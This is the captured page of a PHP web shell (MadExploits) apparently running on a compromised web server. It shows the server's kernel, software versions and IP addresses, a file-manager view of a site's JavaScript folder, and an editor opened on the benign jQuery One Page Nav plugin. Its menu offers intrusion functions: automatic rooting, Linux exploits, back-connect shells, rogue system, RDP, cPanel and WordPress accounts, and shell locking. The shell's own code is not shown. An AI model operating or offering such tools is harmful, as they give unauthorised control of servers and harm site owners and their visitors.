Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.71.203.61
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
justhub /
assets /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
bootstrap.native-master
[ DIR ]
drwxr-xr-x
own-carousel-1.0.0
[ DIR ]
drwxr-xr-x
appointment.form.js
1.81
KB
-rw-r--r--
blog.js
120
B
-rw-r--r--
bootstrap.bundle.min.js
77.74
KB
-rw-r--r--
bootstrap.min.js
58.6
KB
-rw-r--r--
category_page.js
184
B
-rw-r--r--
check_overflow.js
2.36
KB
-rw-r--r--
contact.form.js
1.76
KB
-rw-r--r--
custom.js
4.19
KB
-rw-r--r--
detail_page.js
0
B
-rw-r--r--
easyzoom.js
3.98
KB
-rw-r--r--
gtag.js
146
B
-rw-r--r--
head.js.php
209
B
-rw-r--r--
home_scripts.js
3.14
KB
-rw-r--r--
imagesloaded.pkgd.min.js
5.43
KB
-rw-r--r--
isotope.pkgd.min.js
34.49
KB
-rw-r--r--
jquery-3.6.js
126.34
KB
-rw-r--r--
jquery.counterup.min.js
1.04
KB
-rw-r--r--
jquery.easypiechart.min.js
3.9
KB
-rw-r--r--
jquery.js
86.76
KB
-rw-r--r--
jquery.magnific-popup.min.js
19.76
KB
-rw-r--r--
jquery.min.js
82.37
KB
-rw-r--r--
jquery.nav.js
6.61
KB
-rw-r--r--
lightslider.js
46.96
KB
-rw-r--r--
main.js
13.12
KB
-rw-r--r--
modernizr-2.8.3.min.js
15.15
KB
-rw-r--r--
owl.carousel.min.js
41.76
KB
-rw-r--r--
particles.min.js
22.82
KB
-rw-r--r--
plugins.js
2.73
KB
-rw-r--r--
pointer.js
2.7
KB
-rw-r--r--
popper.min.js
20.76
KB
-rw-r--r--
rsmenu-main.js
4.3
KB
-rw-r--r--
script.js
599
B
-rw-r--r--
showmoreless.js
6.07
KB
-rw-r--r--
skill.bars.jquery.js
2.01
KB
-rw-r--r--
slick.min.js
40.97
KB
-rw-r--r--
swiper.min.js
138.17
KB
-rw-r--r--
time-circle.js
33.23
KB
-rw-r--r--
waypoints.min.js
7.86
KB
-rw-r--r--
wow.min.js
8.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jquery.nav.js
/* * jQuery One Page Nav Plugin * http://github.com/davist11/jQuery-One-Page-Nav * * Copyright (c) 2010 Trevor Davis (http://trevordavis.net) * Dual licensed under the MIT and GPL licenses. * Uses the same license as jQuery, see: * http://jquery.org/license * * @version 3.0.0 * * Example usage: * $('#nav').onePageNav({ * currentClass: 'current', * changeHash: false, * scrollSpeed: 750 * }); */ ;(function($, window, document, undefined){ // our plugin constructor var OnePageNav = function(elem, options){ this.elem = elem; this.$elem = $(elem); this.options = options; this.metadata = this.$elem.data('plugin-options'); this.$win = $(window); this.sections = {}; this.didScroll = false; this.$doc = $(document); this.docHeight = this.$doc.height(); }; // the plugin prototype OnePageNav.prototype = { defaults: { navItems: 'a', currentClass: 'current', changeHash: false, easing: 'swing', filter: '', scrollOffset: 89, scrollSpeed: 750, scrollThreshold: 0.5, begin: false, end: false, scrollChange: false }, init: function() { // Introduce defaults that can be extended either // globally or using an object literal. this.config = $.extend({}, this.defaults, this.options, this.metadata); this.$nav = this.$elem.find(this.config.navItems); //Filter any links out of the nav if(this.config.filter !== '') { this.$nav = this.$nav.filter(this.config.filter); } //Handle clicks on the nav this.$nav.on('click.onePageNav', $.proxy(this.handleClick, this)); //Get the section positions this.getPositions(); //Handle scroll changes this.bindInterval(); //Update the positions on resize too this.$win.on('resize.onePageNav', $.proxy(this.getPositions, this)); return this; }, adjustNav: function(self, $parent) { self.$elem.find('.' + self.config.currentClass).removeClass(self.config.currentClass); $parent.addClass(self.config.currentClass); }, bindInterval: function() { var self = this; var docHeight; self.$win.on('scroll.onePageNav', function() { self.didScroll = true; }); self.t = setInterval(function() { docHeight = self.$doc.height(); //If it was scrolled if(self.didScroll) { self.didScroll = false; self.scrollChange(); } //If the document height changes if(docHeight !== self.docHeight) { self.docHeight = docHeight; self.getPositions(); } }, 250); }, getHash: function($link) { return $link.attr('href').split('#')[1]; }, getPositions: function() { var self = this; var linkHref; var topPos; var $target; self.$nav.each(function() { linkHref = self.getHash($(this)); $target = $('#' + linkHref); if($target.length) { topPos = $target.offset().top; self.sections[linkHref] = Math.round(topPos); } }); }, getSection: function(windowPos) { var returnValue = null; var windowHeight = Math.round(this.$win.height() * this.config.scrollThreshold); for(var section in this.sections) { if((this.sections[section] - windowHeight) < windowPos) { returnValue = section; } } return returnValue; }, handleClick: function(e) { var self = this; var $link = $(e.currentTarget); var $parent = $link.parent(); var newLoc = '#' + self.getHash($link); if(!$parent.hasClass(self.config.currentClass)) { //Start callback if(self.config.begin) { self.config.begin(); } //Change the highlighted nav item self.adjustNav(self, $parent); //Removing the auto-adjust on scroll self.unbindInterval(); //Scroll to the correct position self.scrollTo(newLoc, function() { //Do we need to change the hash? if(self.config.changeHash) { window.location.hash = newLoc; } //Add the auto-adjust on scroll back in self.bindInterval(); //End callback if(self.config.end) { self.config.end(); } }); } e.preventDefault(); }, scrollChange: function() { var windowTop = this.$win.scrollTop(); var position = this.getSection(windowTop); var $parent; //If the position is set if(position !== null) { $parent = this.$elem.find('a[href$="#' + position + '"]').parent(); //If it's not already the current section if(!$parent.hasClass(this.config.currentClass)) { //Change the highlighted nav item this.adjustNav(this, $parent); //If there is a scrollChange callback if(this.config.scrollChange) { this.config.scrollChange($parent); } } } }, scrollTo: function(target, callback) { var offset = $(target).offset().top; $('html, body').animate({ scrollTop: offset - this.config.scrollOffset, // this is the important line }, this.config.scrollSpeed, this.config.easing, callback); }, unbindInterval: function() { clearInterval(this.t); this.$win.unbind('scroll.onePageNav'); } }; OnePageNav.defaults = OnePageNav.prototype.defaults; $.fn.onePageNav = function(options) { return this.each(function() { new OnePageNav(this, options).init(); }); }; })( jQuery, window , document );
Close